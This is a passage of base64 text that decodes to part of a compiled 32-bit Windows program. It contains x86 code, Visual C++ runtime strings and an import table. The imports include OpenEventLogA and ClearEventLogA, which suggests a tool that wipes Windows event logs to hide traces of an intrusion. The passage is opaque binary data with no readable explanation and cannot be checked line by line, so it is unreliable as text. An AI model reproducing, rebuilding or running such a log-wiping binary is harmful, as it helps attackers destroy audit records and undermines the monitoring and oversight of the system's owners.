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
VwAAclcAAIBXAACMVwAAmFcAAKRXAACwVwAAvFcAAMZXAADSVwAA4lcAAPBXAAACWAAAElgAACZY
AAA4WAAATlgAAF5YAABuWAAAgFgAAJJYAACiWAAAAAAAAAAAAAD/////zhZAAOIWQAAGAAAGAAEA
ABAAAwYABgIQBEVFRQUFBQUFNTAAUAAAAAAgKDhQWAcIADcwMFdQBwAAICAIAAAAAAhgaGBgYGAA
AHBweHh4eAgHCAAABwAICAgAAAgACAAHCAAAACgAbgB1AGwAbAApAAAAAAAobnVsbCkAAHJ1bnRp
bWUgZXJyb3IgAAANCgAAVExPU1MgZXJyb3INCgAAAFNJTkcgZXJyb3INCgAAAABET01BSU4gZXJy
b3INCgAAUjYwMjgNCi0gdW5hYmxlIHRvIGluaXRpYWxpemUgaGVhcA0KAAAAAFI2MDI3DQotIG5v
dCBlbm91Z2ggc3BhY2UgZm9yIGxvd2lvIGluaXRpYWxpemF0aW9uDQoAAAAAUjYwMjYNCi0gbm90
IGVub3VnaCBzcGFjZSBmb3Igc3RkaW8gaW5pdGlhbGl6YXRpb24NCgAAAABSNjAyNQ0KLSBwdXJl
IHZpcnR1YWwgZnVuY3Rpb24gY2FsbA0KAAAAUjYwMjQNCi0gbm90IGVub3VnaCBzcGFjZSBmb3Ig
X29uZXhpdC9hdGV4aXQgdGFibGUNCgAAAABSNjAxOQ0KLSB1bmFibGUgdG8gb3BlbiBjb25zb2xl
IGRldmljZQ0KAAAAAFI2MDE4DQotIHVuZXhwZWN0ZWQgaGVhcCBlcnJvcg0KAAAAAFI2MDE3DQot
IHVuZXhwZWN0ZWQgbXVsdGl0aHJlYWQgbG9jayBlcnJvcg0KAAAAAFI2MDE2DQotIG5vdCBlbm91
Z2ggc3BhY2UgZm9yIHRocmVhZCBkYXRhDQoADQphYm5vcm1hbCBwcm9ncmFtIHRlcm1pbmF0aW9u
DQoAAAAAUjYwMDkNCi0gbm90IGVub3VnaCBzcGFjZSBmb3IgZW52aXJvbm1lbnQNCgBSNjAwOA0K
LSBub3QgZW5vdWdoIHNwYWNlIGZvciBhcmd1bWVudHMNCgAAAFI2MDAyDQotIGZsb2F0aW5nIHBv
aW50IG5vdCBsb2FkZWQNCgAAAABNaWNyb3NvZnQgVmlzdWFsIEMrKyBSdW50aW1lIExpYnJhcnkA
AAAACgoAAFJ1bnRpbWUgRXJyb3IhCgpQcm9ncmFtOiAAAAAuLi4APHByb2dyYW0gbmFtZSB1bmtu
b3duPgAAR2V0TGFzdEFjdGl2ZVBvcHVwAABHZXRBY3RpdmVXaW5kb3cATWVzc2FnZUJveEEAdXNl
cjMyLmRsbAAAAAAAAAAAAAAAAAAA//////5GQAACR0AA/////7JHQAC2R0AA/////zZJQAA6SUAA
6FQAAAAAAAAAAAAAwlUAABBQAADYVAAAAAAAAAAAAAACVgAAAFAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA8lUAAOBVAADQVQAAAAAAALJVAACgVQAAVlcAABBWAAAeVgAAMlYAAEZWAABYVgAAZlYAAIJW
AACYVgAAslYAAMxWAADiVgAA+lYAABRXAAAmVwAANlcAAERXAACUVQAAZFcAAHJXAACAVwAAjFcA
AJhXAACkVwAAsFcAALxXAADGVwAA0lcAAOJXAADwVwAAAlgAABJYAAAmWAAAOFgAAE5YAABeWAAA
blgAAIBYAACSWAAAolgAAAAAAADMAUxvY2FsRnJlZQCvAEZvcm1hdE1lc3NhZ2VBAAAaAUdldExh
c3RFcnJvcgAAS0VSTkVMMzIuZGxsAAAyAENsb3NlRXZlbnRMb2cAMABDbGVhckV2ZW50TG9nQQAA
QAFPcGVuRXZlbnRMb2dBAEFEVkFQSTMyLmRsbAAAfQBFeGl0UHJvY2VzcwCeAlRlcm1pbmF0ZVBy
b2Nlc3MAAPcAR2V0Q3VycmVudFByb2Nlc3MAygBHZXRDb21tYW5kTGluZUEAdAFHZXRWZXJzaW9u
AACtAlVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAAJAFHZXRNb2R1bGVGaWxlTmFtZUEAALIARnJl
ZUVudmlyb25tZW50U3RyaW5nc0EAswBGcmVlRW52aXJvbm1lbnRTdHJpbmdzVwDSAldpZGVDaGFy
VG9NdWx0aUJ5dGUABgFHZXRFbnZpcm9ubWVudFN0cmluZ3MACAFHZXRFbnZpcm9ubWVudFN0cmlu
Z3NXAABtAlNldEhhbmRsZUNvdW50AABSAUdldFN0ZEhhbmRsZQAAFQFHZXRGaWxlVHlwZQBQAUdl
dFN0YXJ0dXBJbmZvQQCdAUhlYXBEZXN0cm95AJsBSGVhcENyZWF0ZQAAvwJWaXJ0dWFsRnJlZQCf
AUhlYXBGcmVlAAAvAlJ0bFVud2luZADfAldyaXRlRmlsZQCZAUhlYXBBbGxvYwC/AEdldENQSW5m
bwC5AEdldEFDUAAAMQFHZXRPRU1DUAAAuwJWaXJ0dWFsQWxsb2MAAKIBSGVhcFJlQWxsb2MAPgFH
ZXRQcm9jQWRkcmVzcwAAwgFMb2FkTGlicmFyeUEAAKoARmx1c2hGaWxlQnVmZmVycwAAagJTZXRG
aWxlUG9pbnRlcgAA5AFNdWx0aUJ5dGVUb1dpZGVDaGFyAL8BTENNYXBTdHJpbmdBAADAAUxDTWFw
U3RyaW5nVwAAUwFHZXRTdHJpbmdUeXBlQQAAVgFHZXRTdHJpbmdUeXBlVwAAfAJTZXRTdGRIYW5k
bGUAABsAQ2xvc2VIYW5kbGUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
